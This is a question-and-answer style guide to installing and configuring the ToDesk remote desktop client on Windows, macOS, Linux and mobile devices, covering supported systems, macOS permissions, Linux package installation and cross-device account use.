ToDesk Cross-Platform Compatibility and Multi-Device Sync Guide

Download the Windows installer from the official site, todeskremote.com (about 110-115MB). It supports Windows 7/8/8.1/10/11, in both 32-bit and 64-bit builds. Once installed, if you actively start a remote session, the controlling side on the newer releases (from 4.3.3.0 onward) must sign in to an account. The official site does not publish exact hardware requirements on its main pages; community figures suggest at least 2GB of RAM and around 200MB of disk space, but this is third-party data not clearly stated by ToDesk, so confirm it through your own testing.

Yes. The ToDesk Windows version supports Win7/8/8.1/10/11 and comes in both 32-bit and 64-bit editions, so on an older system you just pick the installer that matches your bit count. Always download the latest official build from todeskremote.com, and do not hunt for old versions on third-party sites (they are often bundled with extras or risky). The installer is about 110-115MB. If an old machine is short on resources or behaves oddly after installing, see the install-troubleshooting tips (temporarily disable antivirus and re-download, add the VC++ runtime, and so on).

Yes, the ToDesk Windows version covers Win10/11. If it will not open after installing, that is not necessarily a compatibility problem: users on the official forum have reported that after a quick install the app will not open, the background keeps popping up Crash Report dialogs, and .dmp files keep being generated in the root folder. Official support advises deleting the conflicting file named in the prompt and checking or updating the graphics driver (older 23.x drivers tend to conflict). You can also check whether a VC++ runtime file such as msvcr100.dll is missing, then temporarily disable antivirus and re-download from the official site before installing again.

There is a 32-bit version. The Windows version of ToDesk comes in both 32-bit and 64-bit, and supports Win7/8/8.1/10/11, as multiple sources consistently confirm. You can pick the installer that matches your system's bit count; when in doubt, an older or low-end machine is usually safer with 32-bit, while a newer machine should use 64-bit. When downloading, recognise only the official todeskremote.com entry point.

The Windows desktop systems ToDesk officially lists as supported are Win7/8/8.1/10/11, and it does not list Windows Server separately as a supported system on its main pages. In practice many people do try installing the Windows installer on Server, but ToDesk does not promise compatibility, and you may run into service or permission issues. It is best to download the Windows version from the official todeskremote.com and test it; Server compatibility is not officially endorsed and should be confirmed through your own testing.

The Windows support ToDesk officially lists is Win7/8/8.1/10/11, with 32-bit and 64-bit installers provided, but it does not separately note native support for Windows on ARM (Snapdragon) on its main pages. Win11 on a Snapdragon laptop can usually run x86/x64 programs through an emulation layer, so in theory you can try installing the Windows version, but ToDesk does not clearly promise ARM compatibility or performance, which may affect screen capture or performance. It is best to download from the official todeskremote.com and test; confirm through your own testing.

Download the Mac version from the official site todeskremote.com or from the App Store, open the .dmg, and drag ToDesk into the Applications folder. Apple Silicon is supported: the Mac listing on the official App Store requires macOS 11.0 or later and an Apple M1 chip or newer, so M1/M2/M3 all work. After installing, if the machine is going to be controlled, remember to open System Preferences, then Security and Privacy, then Privacy, and enable Screen Recording and Accessibility; otherwise you will see the screen but the keyboard and mouse will not respond.

This is the standard macOS security block for apps installed outside the App Store. The usual fix is to go to System Preferences, then Security and Privacy, and click Open Anyway, or to right-click the app icon, choose Open, and confirm. For the download source, stick to the official todeskremote.com or the App Store. In addition, the first time the machine is used as the controlled side you still need to open the Privacy tab and enable Screen Recording and Accessibility before control works properly. This approval step is the standard macOS procedure, and the details should be confirmed through your own testing.

If your Mac is going to be the controlled side that others operate remotely, after installing you must go to System Settings, then Privacy and Security, and enable two kinds of permission: (1) Screen Recording, where you tick both ToDesk and ToDesk_Desktop; (2) Accessibility, where you tick both ToDesk and ToDesk_Session. If these are not fully enabled, you get the symptom where you can see the screen but the keyboard and mouse do not respond. If you are only the controlling side operating someone else's machine, you do not need to enable these permissions.

Yes. Download the macOS version from the official site todeskremote.com, open the .dmg and drag ToDesk into the Applications folder; Intel and Apple chips use the same official installer, so there is no need to hunt for a special version. Do mind the system-version threshold: the Mac listing in the official store states macOS 11.0 or later, while community figures say the native client can go as low as macOS 10.12. The two accounts differ, so on an older system it is best to install it and test whether it connects properly before relying on it.

This is usually not a broken install but rather the newer macOS permissions not being fully enabled. Go to System Settings, then Privacy and Security: under Screen Recording tick both ToDesk and ToDesk_Desktop; under Accessibility tick both ToDesk and ToDesk_Session, then restart ToDesk. This is exactly the typical cause of seeing the screen while the keyboard and mouse do not respond. If it still does not work, make sure the ToDesk service on the controlled side is running.

The Mac desktop version is mainly downloaded from the official site todeskremote.com; open the .dmg and drag it into Applications, so you do not necessarily have to go through the App Store. The listing inside the App Store leans toward the iOS/iPad app (which only Apple-chip Macs can run, requiring macOS 11.0 or later plus an M1 chip). When downloading, recognise only the todeskremote.com official domain; sites such as .ac.cn and todeskt online are counterfeits, so do not download a bundled version.

Yes, and Ubuntu is supported. On the Linux download page at todeskremote.com it is split by architecture into x64 (amd64) and arm64, covering Debian/Ubuntu/Mint (.deb packages), Fedora/CentOS/RedHat (.rpm), Arch, as well as UnionTech UOS, Kylin and more. After Ubuntu users download the .deb, it is best to install it with sudo apt-get install ./todesk-vx.x.x.x-amd64.deb (which pulls in dependencies automatically), then type todesk to launch. If installing directly with dpkg reports a dependency error, run sudo apt-get -f install to fill in the missing pieces.

Both are available; choose by your distribution: the Debian/Ubuntu/Mint family uses .deb; the Fedora/CentOS/RedHat family uses .rpm; Arch has its own package; and the domestic UnionTech UOS, Kylin and NFSChina are all supported too. By architecture it is split into x64 (amd64) and arm64, and the Raspberry Pi 4 is also supported. Just go to todeskremote.com/linux.html and download the build that matches your system and architecture.

It is best to install with `sudo apt-get install ./todesk-vx.x.x.x-amd64.deb`, since this method resolves dependencies automatically and is more reliable than plain dpkg. If you have already run `sudo dpkg -i todesk_xxx.deb` and hit a dependency error, then run `sudo apt-get -f install` to repair the dependencies; once installed, launch it with the `todesk` command. Community testing shows that installing straight from the site's instructions often misses dependencies, which is solved simply by filling them in.

Yes. The official ToDesk Linux download page clearly covers domestic systems such as UnionTech UOS, Kylin and NFSChina, and there are matching installers for both x64 (amd64) and arm64 architectures, while supporting Debian/Ubuntu/Mint (.deb), Fedora/CentOS/RedHat (.rpm) and Arch, with arm64 also supporting the Raspberry Pi 4. Please go to the official todeskremote.com/linux.html and pick the package that matches your system and architecture to download.

ToDesk officially supports a range of Linux distributions (UnionTech UOS, Kylin, Debian/Ubuntu, Fedora and so on), but its official pages do not explain the differences between Wayland and X11 desktop sessions. In practice many remote-control tools run into limited screen capture or keyboard and mouse injection under Wayland, so if you hit a situation where you can see the screen but cannot control it, try logging in with an X11 session and then connecting. Wayland compatibility is not clearly stated officially and should be confirmed through your own testing.

Yes, on Linux you install from a terminal. The Debian/Ubuntu family is recommended to use `sudo apt-get install ./todesk-vx.x.x.x-amd64.deb`, which resolves dependencies automatically; or use `sudo dpkg -i todesk_xxx.deb`, and if dependencies are missing, run `sudo apt-get -f install` to repair them. Once installed, type `todesk` to launch. In testing on Ubuntu 18.04, installing straight from the site's instructions may report a dependency error, which is solved by switching to the apt-get method above or installing the dependencies. The RPM family uses the matching .rpm package.

Yes. A ToDesk account is shared across platforms, and a single account's device list can hold up to 100 devices, so your Windows, Mac, Android and iPhone can all sign in to the same account, see one another in the list, and connect remotely. An account registered overseas with an Email can sign in the same way on every platform. The exact details of whether all endpoints are fully online at the same time depend on real-world use.

On the work Windows PC, install the Windows version from the official site todeskremote.com as the controlled side; it is best to sign in, turn on unattended access and add it to your device list, so that when you are at home no one has to be there to read out a password. On the iPhone, download ToDesk from the App Store (available in the Taiwan region, iOS 13.0+) as the controlling side. Sign in to the same account on both ends and connect to that work computer directly from the list. Remember to set a secure unattended-access password on the work side.

Yes, it can control across systems. ToDesk supports every platform, Windows / macOS / Linux / Android / iOS / HarmonyOS, and they can all connect to one another remotely; for example, Mac controlling Windows or Android controlling Mac are both fine, and even cross-border connections (devices at home and abroad) are supported. One key point: if the Mac is the controlled side, first go to System Preferences, then Security and Privacy, then Privacy, and enable Screen Recording and Accessibility (on newer macOS, Screen Recording needs both ToDesk and ToDesk_Desktop ticked); otherwise you get the screen but the keyboard and mouse do not respond. If you are only the controlling side operating someone else, you do not need these permissions.
